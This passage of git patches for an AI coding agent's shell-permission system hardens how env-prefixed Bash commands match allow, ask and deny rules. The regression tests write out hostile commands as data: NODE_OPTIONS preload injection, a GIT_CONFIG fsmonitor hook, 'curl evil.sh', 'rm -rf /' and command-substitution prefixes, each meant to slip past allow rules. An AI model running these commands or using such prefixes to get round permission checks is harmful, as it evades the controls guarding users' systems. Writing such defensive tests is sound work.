packages/core/tsconfig.json - - name: Commit tested change - run: | - git config user.name github-actions[bot] - git config user.email 41898282+github-actions[bot]@users.noreply.github.com - git add \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - git diff --cached --quiet && exit 0 - git commit -m "fix(permissions): harden env-prefixed rule semantics" - git push origin HEAD:fix/10197-env-prefix-bash-rules From a37589edee2a4270298cdcc29246d650c80e30fe Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Sat, 29 Aug 2026 21:04:52 +0200 Subject: [PATCH 15/36] chore: remove PR-local round-3 workflow --- .github/workflows/finalize-pr-10212-r3.yml | 194 --------------------- 1 file changed, 194 deletions(-) delete mode 100644 .github/workflows/finalize-pr-10212-r3.yml diff --git a/.github/workflows/finalize-pr-10212-r3.yml b/.github/workflows/finalize-pr-10212-r3.yml deleted file mode 100644 index 44f7b4f1d83..00000000000 --- a/.github/workflows/finalize-pr-10212-r3.yml +++ /dev/null @@ -1,194 +0,0 @@ -name: Finalize PR 10212 round-3 fixes -on: - push: - branches: [fix/10197-env-prefix-bash-rules] - paths: [.github/workflows/finalize-pr-10212-r3.yml] -permissions: - contents: write -jobs: - finalize: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - - uses: actions/setup-node@v4 - with: - node-version: 22 - - name: Apply reviewed patch - run: | - sed -n "/python3 - <<'PY'/,/^ PY$/p" .github/workflows/finalize-pr-10212-r2.yml \ - | sed '1d;$d;s/^ //' > /tmp/pr10212_patch.py - test -s /tmp/pr10212_patch.py - python3 /tmp/pr10212_patch.py - python3 - <<'PY' - from pathlib import Path - import re - - p = Path('packages/core/src/utils/shellAstParser.ts') - s = p.read_text() - - old = '''function extractRulesFromStatement(node: SyntaxNode): string[] { - switch (node.type) { - case 'command': - return [extractRuleFromCommand(node)].filter(Boolean) as string[]; - - case 'pipeline': - case 'list': - case 'compound_statement': - case 'subshell': { - const rules: string[] = []; - for (const child of node.namedChildren) { - rules.push(...extractRulesFromStatement(child)); - } - return rules; - } - - case 'redirected_statement': { - const body = node.namedChildren[0]; - return body ? extractRulesFromStatement(body) : []; - } - - case 'negated_command': { - const inner = node.namedChildren[0]; - return inner ? extractRulesFromStatement(inner) : []; - } - - case 'variable_assignment': - case 'variable_assignments': - // Pure assignments – no rule needed - return []; - - default: - // For complex constructs (if/while/for/case), try to extract from - // named children conservatively - return []; - } - } - ''' - - new = '''function isVariableAssignmentNode(node: SyntaxNode): boolean { - return /^variable_assignments?$/.test(node.type); - } - - /** - * Extract rules from sibling AST nodes while retaining leading shell - * variable assignments as part of the execution identity of the next - * command. tree-sitter-bash represents `FOO=bar npm install` as a - * variable_assignment sibling followed by a command node, so looking - * only inside the command node loses the security-relevant prefix. - */ - function extractRulesFromNodes(nodes: SyntaxNode[]): string[] { - const rules: string[] = []; - const pendingAssignments: string[] = []; - - for (const node of nodes) { - if (isVariableAssignmentNode(node)) { - pendingAssignments.push(node.text); - continue; - } - - const nodeRules = extractRulesFromStatement(node); - if (pendingAssignments.length > 0 && nodeRules.length > 0) { - nodeRules[0] = `${pendingAssignments.join(' ')} ${nodeRules[0]}`; - } - rules.push(...nodeRules); - pendingAssignments.length = 0; - } - - return rules; - } - - function extractRulesFromStatement(node: SyntaxNode): string[] { - switch (node.type) { - case 'command': - return [extractRuleFromCommand(node)].filter(Boolean) as string[]; - - case 'pipeline': - case 'list': - case 'compound_statement': - case 'subshell': - case 'redirected_statement': - return extractRulesFromNodes(node.namedChildren); - - case 'negated_command': { - const inner = node.namedChildren[0]; - return inner ? extractRulesFromStatement(inner) : []; - } - - case 'variable_assignment': - case 'variable_assignments': - // Pure assignments – no rule needed until followed by a command. - return []; - - default: - return []; - } - } - ''' - - if old not in s: - raise SystemExit('extractRulesFromStatement marker not found') - s = s.replace(old, new, 1) - - pattern = re.compile( - r"\n\s*for \(const stmt of root\.namedChildren\) \{\s*" - r"rules\.push\(\.\.\.extractRulesFromStatement\(stmt\)\);\s*\}\s*", - re.MULTILINE, - ) - s, count = pattern.subn( - '\n rules.push(...extractRulesFromNodes(root.namedChildren));\n\n', - s, - count=1, - ) - if count != 1: - raise SystemExit('extractCommandRules root loop marker not found') - p.write_text(s) - PY - - name: Install and validate - run: | - npm ci - npx prettier --write \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - npx prettier --check \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - npx eslint --max-warnings 0 \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - npx vitest run \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/permission-manager.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.test.ts \ - packages/core/src/permissions/shell-semantics.test.ts \ - packages/core/src/utils/shell-utils.test.ts - npx tsc --noEmit -p packages/core/tsconfig.json - - name: Commit tested fixes and remove temporary workflows - run: | - rm -f \ - .github/workflows/finalize-pr-10212-r2.yml \ - .github/workflows/finalize-pr-10212-r2-runner.yml \ - .github/workflows/finalize-pr-10212-r3.yml - git config user.name github-actions[bot] - git config user.email 41898282+github-actions[bot]@users.noreply.github.com - git add -A - git diff --cached --quiet && exit 0 - git commit -m "fix(permissions): harden env-prefixed rule semantics" - git push origin HEAD:fix/10197-env-prefix-bash-rules From 95b8245c72004ece6a03b7a2102ec19d25d2f62c Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Sat, 29 Aug 2026 21:05:55 +0200 Subject: [PATCH 16/36] fix(permissions): classify env-prefixed dangerous Bash rules --- packages/core/src/permissions/dangerousRules.ts | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/packages/core/src/permissions/dangerousRules.ts b/packages/core/src/permissions/dangerousRules.ts index afc8e4672f4..4962dfef061 100644 --- a/packages/core/src/permissions/dangerousRules.ts +++ b/packages/core/src/permissions/dangerousRules.ts @@ -13,6 +13,7 @@ */ import { ToolNames } from '../tools/tool-names.js'; +import { stripLeadingVariableAssignments } from './rule-parser.js'; import type { PermissionRule } from './types.js'; /** @@ -171,7 +172,9 @@ export function isDangerousBashRule(rule: PermissionRule): boolean { if (!rule.specifier || rule.specifier === '*') return true; - const content = rule.specifier.trim().toLowerCase(); + const content = stripLeadingVariableAssignments(rule.specifier) + .trim() + .toLowerCase(); if (content === '' || content === '*') return true; // Treat whitespace as the first-token delimiter; matcher-colon form is @@ -250,4 +253,4 @@ export function findDangerousAllowRules( allowRules: readonly PermissionRule[], ): PermissionRule[] { return allowRules.filter(isDangerousAllowRule); -} +} \ No newline at end of file From 7c0e52e417a3bfb7c4fb1fa7e64c7710c0c2d1ed Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Sat, 29 Aug 2026 21:13:32 +0200 Subject: [PATCH 17/36] chore: stage PR 10212 review fix script --- scripts/pr10212-review-fixes.py | 672 ++++++++++++++++++++++++++++++++ 1 file changed, 672 insertions(+) create mode 100644 scripts/pr10212-review-fixes.py diff --git a/scripts/pr10212-review-fixes.py b/scripts/pr10212-review-fixes.py new file mode 100644 index 00000000000..99afb9ce168 --- /dev/null +++ b/scripts/pr10212-review-fixes.py @@ -0,0 +1,672 @@ +from pathlib import Path + + +def replace_once(text: str, old: str, new: str, label: str) -> str: + count = text.count(old) + if count != 1: + raise SystemExit(f'{label}: expected one marker, found {count}') + return text.replace(old, new, 1) + + +def replace_region(text: str, start_marker: str, end_marker: str, new: str, label: str) -> str: + try: + start = text.index(start_marker) + end = text.index(end_marker, start) + except ValueError as exc: + raise SystemExit(f'{label}: marker not found') from exc + return text[:start] + new + '\n\n' + text[end:] + + +# --------------------------------------------------------------------------- +# rule-parser.ts +# --------------------------------------------------------------------------- +p = Path('packages/core/src/permissions/rule-parser.ts') +s = p.read_text() + +new_matches = r'''export function matchesCommandPattern( + pattern: string, + command: string, +): boolean { + // This function matches a single pattern against a single simple command. + // Compound command splitting is handled by the caller (PermissionManager). + const normalizedCommand = normalizeCommandForPermissionMatch(command); + const normalizedPattern = collapseUnquotedWhitespace(pattern.trim()); + + // Special case: lone `*` matches any single command. + if (normalizedPattern === '*') { + return true; + } + + if (!normalizedPattern.includes('*')) { + // An assignment-only rule is an identity, not a command prefix. Without + // this guard `Bash(FOO=bar)` would authorize `FOO=bar `. + if (isAssignmentOnlyPermissionPattern(normalizedPattern)) { + return normalizedCommand === normalizedPattern; + } + + // No wildcards: prefix matching (backward compat). + // "git commit" matches "git commit" and "git commit -m test" + // but NOT "gitcommit". + return ( + normalizedCommand === normalizedPattern || + normalizedCommand.startsWith(normalizedPattern + ' ') + ); + } + + // Build regex from glob pattern with word-boundary semantics. + let regex = '^'; + let pos = 0; + + while (pos < normalizedPattern.length) { + const starIdx = normalizedPattern.indexOf('*', pos); + if (starIdx === -1) { + regex += escapeRegex(normalizedPattern.substring(pos)); + break; + } + + const literalBefore = normalizedPattern.substring(pos, starIdx); + + if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') { + const literalWithoutTrailingSpace = literalBefore.slice(0, -1); + regex += escapeRegex(literalWithoutTrailingSpace); + regex += '( .*)?'; + } else { + regex += escapeRegex(literalBefore); + regex += '.*'; + } + + pos = starIdx + 1; + } + + regex += '$'; + + try { + return new RegExp(regex, 's').test(normalizedCommand); + } catch { + return normalizedCommand === normalizedPattern; + } +}''' + +s = replace_region( + s, + 'export function matchesCommandPattern(', + '/**\n * Match a glob pattern against a value', + new_matches, + 'matchesCommandPattern', +) + +new_env_helpers = r'''export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; + +function permissionMatchTokens(command: string): string[] { + const tokens: string[] = []; + for (const token of parse(command)) { + if (typeof token === 'string') { + tokens.push(token); + } else if (token && typeof token === 'object' && 'op' in token) { + if ( + token.op === 'glob' && + 'pattern' in token && + typeof token.pattern === 'string' + ) { + // shell-quote represents unquoted * / ? words as glob tokens. Keep + // the original word so env assignments remain recognizable. + tokens.push(token.pattern); + } else if (typeof token.op === 'string') { + tokens.push(token.op); + } + } + } + return tokens; +} + +/** + * Return a shell command with only leading NAME=value assignments removed. + * Restrictive deny/ask matching uses this legacy identity in addition to the + * full identity so the new allow hardening can never narrow a restriction. + */ +export function stripLeadingVariableAssignments(command: string): string { + const trimmed = command.trim(); + if (!trimmed) return trimmed; + + try { + const tokens = permissionMatchTokens(trimmed); + let firstCommandToken = 0; + while ( + firstCommandToken < tokens.length && + ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) + ) { + firstCommandToken++; + } + if (firstCommandToken === 0) return trimmed; + return tokens.slice(firstCommandToken).join(' '); + } catch { + return trimmed; + } +} + +/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */ +function collapseUnquotedWhitespace(command: string): string { + let result = ''; + let quote: "'" | '"' | '`' | null = null; + let escaped = false; + let pendingSpace = false; + + for (const ch of command) { + if (escaped) { + result += ch; + escaped = false; + continue; + } + if (ch === '\\' && quote !== "'") { + if (pendingSpace && result) result += ' '; + pendingSpace = false; + result += ch; + escaped = true; + continue; + } + if (quote) { + result += ch; + if (ch === quote) quote = null; + continue; + } + if (ch === "'" || ch === '"' || ch === '`') { + if (pendingSpace && result) result += ' '; + pendingSpace = false; + quote = ch; + result += ch; + continue; + } + if (/\s/.test(ch)) { + if (result) pendingSpace = true; + continue; + } + if (pendingSpace && result) result += ' '; + pendingSpace = false; + result += ch; + } + + return result; +} + +function isAssignmentOnlyPermissionPattern(pattern: string): boolean { + try { + const tokens = permissionMatchTokens(pattern); + return ( + tokens.length > 0 && tokens.every((token) => ENV_ASSIGNMENT_REGEX.test(token)) + ); + } catch { + return false; + } +} + +function normalizeCommandForPermissionMatch(command: string): string { + const trimmed = command.trim(); + if (!trimmed) return trimmed; + + try { + const tokens = permissionMatchTokens(trimmed); + let firstCommandToken = 0; + while ( + firstCommandToken < tokens.length && + ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) + ) { + firstCommandToken++; + } + + // Allow rules bind to the complete env-prefixed execution identity, but + // shell-equivalent unquoted whitespace is canonicalized on both sides. + if (firstCommandToken > 0) { + return collapseUnquotedWhitespace(trimmed); + } + + return tokens.join(' '); + } catch { + return collapseUnquotedWhitespace(trimmed); + } +}''' + +s = replace_region( + s, + 'const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/;', + '// ─────────────────────────────────────────────────────────────────────────────\n// File path matching (gitignore-style)', + new_env_helpers, + 'env helpers', +) +p.write_text(s) + + +# --------------------------------------------------------------------------- +# permission-manager.ts — restrictive rules match full + stripped identities. +# --------------------------------------------------------------------------- +p = Path('packages/core/src/permissions/permission-manager.ts') +s = p.read_text() +s = replace_once( + s, + ' splitCompoundCommand,\n SHELL_TOOL_NAMES,', + ' splitCompoundCommand,\n stripLeadingVariableAssignments,\n SHELL_TOOL_NAMES,', + 'permission-manager import', +) + +restrictive_args = '''\n const restrictiveCommand =\n command !== undefined && SHELL_TOOL_NAMES.has(toolName)\n ? stripLeadingVariableAssignments(command)\n : command;\n const restrictiveMatchArgs = [\n toolName,\n restrictiveCommand,\n filePath,\n domain,\n pathCtx,\n specifier,\n toolParams,\n toolAliases,\n ] as const;\n''' +match_args = ''' const matchArgs = [\n toolName,\n command,\n filePath,\n domain,\n pathCtx,\n specifier,\n toolParams,\n toolAliases,\n ] as const;\n''' + + +def patch_method(text: str, start: str, end: str, transform, label: str) -> str: + try: + i = text.index(start) + j = text.index(end, i) + except ValueError as exc: + raise SystemExit(f'{label}: method marker not found') from exc + region = text[i:j] + region = transform(region) + return text[:i] + region + text[j:] + + +def add_restrictive_args(region: str, label: str) -> str: + return replace_once(region, match_args, match_args + restrictive_args, label) + + +def patch_evaluate_single(region: str) -> str: + region = add_restrictive_args(region, 'evaluateSingle matchArgs') + region = replace_once( + region, + " if (matchesRule(rule, ...matchArgs, 'canonical')) return 'deny';", + " if (\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical'))\n )\n return 'deny';", + 'evaluateSingle deny', + ) + region = replace_once( + region, + " if (matchesRule(rule, ...matchArgs, 'canonical')) return 'ask';", + " if (\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical'))\n )\n return 'ask';", + 'evaluateSingle ask', + ) + return region + + +s = patch_method( + s, + ' private evaluateSingle(', + ' /**\n * Evaluate a list of virtual operations', + patch_evaluate_single, + 'evaluateSingle', +) + + +def patch_find_deny(region: str) -> str: + region = add_restrictive_args(region, 'findMatchingDenyRule matchArgs') + region = replace_once( + region, + " if (matchesRule(rule, ...matchArgs, 'canonical')) {\n return rule.raw;\n }", + " if (\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical'))\n ) {\n return rule.raw;\n }", + 'findMatchingDenyRule match', + ) + return region + + +s = patch_method( + s, + ' findMatchingDenyRule(', + ' // ---------------------------------------------------------------------------\n // Shell command helper', + patch_find_deny, + 'findMatchingDenyRule', +) + + +def patch_relevant(region: str) -> str: + region = add_restrictive_args(region, 'hasRelevantRules matchArgs') + old = ''' return (\n restrictiveRules.some((rule) =>\n matchesRule(rule, ...matchArgs, 'canonical'),\n ) || allowRules.some((rule) => matchesRule(rule, ...matchArgs))\n );''' + new = ''' return (\n restrictiveRules.some(\n (rule) =>\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical')),\n ) || allowRules.some((rule) => matchesRule(rule, ...matchArgs))\n );''' + return replace_once(region, old, new, 'hasRelevantRules return') + + +s = patch_method( + s, + ' hasRelevantRules(', + ' /**\n * Returns true when the invocation is matched by an explicit `ask` rule.', + patch_relevant, + 'hasRelevantRules', +) + + +def patch_ask(region: str) -> str: + region = add_restrictive_args(region, 'hasMatchingAskRule matchArgs') + old = ''' return askRules.some((rule) =>\n matchesRule(rule, ...matchArgs, 'canonical'),\n );''' + new = ''' return askRules.some(\n (rule) =>\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical')),\n );''' + return replace_once(region, old, new, 'hasMatchingAskRule return') + + +s = patch_method( + s, + ' hasMatchingAskRule(', + ' private hasAskRuleForTool(', + patch_ask, + 'hasMatchingAskRule', +) +p.write_text(s) + + +# --------------------------------------------------------------------------- +# shellAstParser.ts — generated Always-Allow rules retain env assignments. +# --------------------------------------------------------------------------- +p = Path('packages/core/src/utils/shellAstParser.ts') +s = p.read_text() +new_extract = r'''function extractRuleFromCommand(commandNode: SyntaxNode): string | null { + const rootName = getCommandName(commandNode); + if (!rootName) return null; + + const nameNode = commandNode.childForFieldName('name'); + const envPrefix = nameNode + ? commandNode.namedChildren + .filter( + (child) => + /^variable_assignments?$/.test(child.type) && + child.endIndex <= nameNode.startIndex, + ) + .map((child) => child.text) + .join(' ') + : ''; + const qualifiedRoot = envPrefix ? `${envPrefix} ${rootName}` : rootName; + + const argNodes = getArgumentNodes(commandNode); + const argTexts = argNodes.map((n) => n.text); + + // Skip leading flags to find potential subcommand + let idx = 0; + while (idx < argTexts.length && argTexts[idx]!.startsWith('-')) { + idx++; + } + + const knownSubs = KNOWN_SUBCOMMANDS[rootName]; + let rule = qualifiedRoot; + + if (knownSubs && knownSubs.size > 0 && idx < argTexts.length) { + const potentialSub = argTexts[idx]!.toLowerCase(); + if (knownSubs.has(potentialSub)) { + rule = `${qualifiedRoot} ${argTexts[idx]!}`; + + // Docker multi-level: docker compose + if ( + rootName === 'docker' && + potentialSub === 'compose' && + idx + 1 < argTexts.length + ) { + const composeSub = argTexts[idx + 1]!.toLowerCase(); + if (DOCKER_COMPOSE_SUBCOMMANDS.has(composeSub)) { + rule = `${qualifiedRoot} compose ${argTexts[idx + 1]!}`; + if (idx + 2 < argTexts.length) { + rule += ' *'; + } + return rule; + } + } + + if (idx + 1 < argTexts.length) { + rule += ' *'; + } + return rule; + } + } + + if (argTexts.length > 0) { + rule += ' *'; + } + + return rule; +}''' +s = replace_region( + s, + 'function extractRuleFromCommand(commandNode: SyntaxNode): string | null {', + '/**\n * Recursively extract rules from a statement node.', + new_extract, + 'extractRuleFromCommand', +) +p.write_text(s) + + +# --------------------------------------------------------------------------- +# shellAstParser.test.ts — pin env-aware grant generation. +# --------------------------------------------------------------------------- +p = Path('packages/core/src/utils/shellAstParser.test.ts') +s = p.read_text() +old = ''' it('handles env var prefix', async () => {\n expect(await extractCommandRules('FOO=bar npm install')).toEqual([\n 'npm install',\n ]);\n });''' +new = ''' it('preserves env var prefixes in generated rules', async () => {\n expect(await extractCommandRules('FOO=bar npm install')).toEqual([\n 'FOO=bar npm install',\n ]);\n expect(await extractCommandRules('FOO=bar npm install express')).toEqual([\n 'FOO=bar npm install *',\n ]);\n expect(await extractCommandRules('FOO=bar docker compose up -d')).toEqual([\n 'FOO=bar docker compose up *',\n ]);\n });''' +s = replace_once(s, old, new, 'shellAstParser env test') +p.write_text(s) + + +# --------------------------------------------------------------------------- +# Dedicated regression suite — all review acceptance criteria. +# --------------------------------------------------------------------------- +p = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') +p.write_text(r'''/** + * @license + * Copyright 2025 Qwen team + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, expect, it } from 'vitest'; +import { evaluatePermissionRules } from '../core/permission-helpers.js'; +import { extractCommandRules } from '../utils/shellAstParser.js'; +import { + findDangerousAllowRules, + isDangerousBashRule, +} from './dangerousRules.js'; +import { PermissionManager } from './permission-manager.js'; +import type { PermissionManagerConfig } from './permission-manager.js'; +import { matchesCommandPattern, parseRule } from './rule-parser.js'; + +function makeConfig( + allow: string[] = [], + ask: string[] = [], + deny: string[] = [], +): PermissionManagerConfig { + return { + getPermissionsAllow: () => allow, + getPermissionsAsk: () => ask, + getPermissionsDeny: () => deny, + getProjectRoot: () => '/repo', + getCwd: () => '/repo', + getApprovalMode: () => 'default', + }; +} + +describe('matchesCommandPattern environment prefixes', () => { + it('keeps plain commands matching', () => { + expect(matchesCommandPattern('npm --version', 'npm --version')).toBe(true); + expect(matchesCommandPattern('python3 *', 'python3 -c "print(1)"')).toBe( + true, + ); + }); + + it('does not let static env prefixes inherit exact or prefix rules', () => { + expect( + matchesCommandPattern('npm --version', 'FOO=bar npm --version'), + ).toBe(false); + expect(matchesCommandPattern('npm', 'FOO=bar npm --version')).toBe(false); + }); + + it('does not let NODE_OPTIONS widen an npm allow rule', () => { + expect( + matchesCommandPattern( + 'npm --version', + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + ), + ).toBe(false); + }); + + it('does not let GIT_CONFIG_* widen a git allow rule', () => { + expect( + matchesCommandPattern( + 'git status --short', + 'GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=/tmp/fsmonitor.sh git status --short', + ), + ).toBe(false); + }); + + it('also covers both substitution forms from #10192', () => { + expect( + matchesCommandPattern( + 'npm --version', + 'X=$(printf hidden) npm --version', + ), + ).toBe(false); + expect( + matchesCommandPattern( + 'npm --version', + 'X=`printf hidden` npm --version', + ), + ).toBe(false); + }); + + it('allows an env-prefixed command only when the rule includes it', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + ), + ).toBe(true); + expect( + matchesCommandPattern( + 'PYTHONPATH=/tmp/lib python3 *', + 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', + ), + ).toBe(true); + }); + + it('preserves quoted env values while canonicalizing unquoted whitespace', () => { + expect( + matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm'), + ).toBe(true); + expect( + matchesCommandPattern('FOO=bar rm *', 'FOO=bar\trm -rf /'), + ).toBe(true); + expect( + matchesCommandPattern('FOO=bar rm *', 'FOO=bar rm -rf /'), + ).toBe(true); + expect( + matchesCommandPattern('FOO=bar\trm *', 'FOO=bar rm -rf /'), + ).toBe(true); + }); + + it('keeps glob-valued env assignments intact instead of normalizing them to glob', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + expect( + matchesCommandPattern('FOO=? npm', 'FOO=? npm'), + ).toBe(true); + }); + + it('does not widen assignment-only rules into arbitrary commands', () => { + expect(matchesCommandPattern('FOO=bar', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( + false, + ); + }); + + it('keeps the intentional Bash(*) allow-all behavior', () => { + expect( + matchesCommandPattern( + '*', + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + ), + ).toBe(true); + }); +}); + +describe('restrictive rules retain legacy env-prefix coverage', () => { + it('keeps deny and ask rules restrictive for env-prefixed commands', async () => { + const denyPm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), + ); + denyPm.initialize(); + await expect( + denyPm.evaluate({ + toolName: 'run_shell_command', + command: 'FOO=1 rm -rf /', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + expect( + denyPm.findMatchingDenyRule({ + toolName: 'run_shell_command', + command: 'FOO=1 rm -rf /', + cwd: '/repo', + }), + ).toBe('Bash(rm -rf *)'); + + const askPm = new PermissionManager( + makeConfig(['Bash(*)'], ['Bash(git push *)']), + ); + askPm.initialize(); + const askCtx = { + toolName: 'run_shell_command', + command: 'FOO=bar git push --force', + cwd: '/repo', + } as const; + await expect(askPm.evaluate(askCtx)).resolves.toBe('ask'); + expect(askPm.hasMatchingAskRule(askCtx)).toBe(true); + }); + + it('hardens the production hasRelevantRules gate', async () => { + const pm = new PermissionManager(makeConfig([], [], ['Bash(rm -rf *)'])); + pm.initialize(); + const result = await evaluatePermissionRules(pm, 'allow', { + toolName: 'run_shell_command', + command: 'FOO=1 rm -rf /', + cwd: '/repo', + }); + expect(result.finalPermission).toBe('deny'); + }); + + it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => { + const pm = new PermissionManager( + makeConfig(['Bash(cat /repo/file)', 'Read']), + ); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'NODE_OPTIONS=--require=/tmp/preload.cjs cat /repo/file', + cwd: '/repo', + }), + ).resolves.toBe('ask'); + }); +}); + +describe('env-prefixed grant generation and AUTO classification', () => { + it('round-trips an Always-Allow rule through the matcher', async () => { + const rules = await extractCommandRules('FOO=bar npm install'); + expect(rules).toEqual(['FOO=bar npm install']); + + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'FOO=bar npm install', + cwd: '/repo', + }), + ).resolves.toBe('allow'); + }); + + it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => { + const python = parseRule('Bash(X=1 python *)'); + const npx = parseRule('Bash(FOO=bar npx *)'); + expect(isDangerousBashRule(python)).toBe(true); + expect(isDangerousBashRule(npx)).toBe(true); + expect(findDangerousAllowRules([python, npx])).toEqual([python, npx]); + }); +}); +''') + +print('PR 10212 source and regression patches applied') From 0d6cb83ce610afb85ba8de09d057052d0f08aa68 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Sat, 29 Aug 2026 21:14:04 +0200 Subject: [PATCH 18/36] chore: run PR 10212 review fix validation --- .../workflows/apply-pr10212-review-fixes.yml | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 .github/workflows/apply-pr10212-review-fixes.yml diff --git a/.github/workflows/apply-pr10212-review-fixes.yml b/.github/workflows/apply-pr10212-review-fixes.yml new file mode 100644 index 00000000000..f0da5a1786e --- /dev/null +++ b/.github/workflows/apply-pr10212-review-fixes.yml @@ -0,0 +1,93 @@ +name: Apply PR 10212 review fixes + +on: + push: + branches: + - fix/10197-env-prefix-bash-rules + paths: + - .github/workflows/apply-pr10212-review-fixes.yml + +permissions: + contents: write + +jobs: + apply-and-validate: + runs-on: ubuntu-latest + timeout-minutes: 30 + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - uses: actions/setup-node@v4 + with: + node-version: 22.23.2 + cache: npm + + - name: Install dependencies + run: npm ci + + - name: Apply reviewed source patch + run: python3 scripts/pr10212-review-fixes.py + + - name: Format changed sources + run: | + npx prettier --write \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + + - name: Build core + run: npm run build --workspace @qwen-code/qwen-code-core + + - name: Typecheck core + run: npm run typecheck --workspace @qwen-code/qwen-code-core + + - name: Lint changed sources + run: | + npx eslint --max-warnings 0 \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + + - name: Run focused regression suite + run: | + npx vitest run \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/permission-manager.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/permissions/shell-semantics.test.ts \ + packages/core/src/utils/shellAstParser.test.ts \ + packages/core/src/utils/shell-ast-parser-lazy.test.ts \ + packages/core/src/utils/shell-utils.test.ts + + - name: Verify formatting + run: | + npx prettier --check \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + + - name: Commit validated source changes and self-cleanup + run: | + git config user.name "SLP-DEV1" + git config user.email "298325363+SLP-DEV1@users.noreply.github.com" + git rm .github/workflows/apply-pr10212-review-fixes.yml scripts/pr10212-review-fixes.py + git add \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + 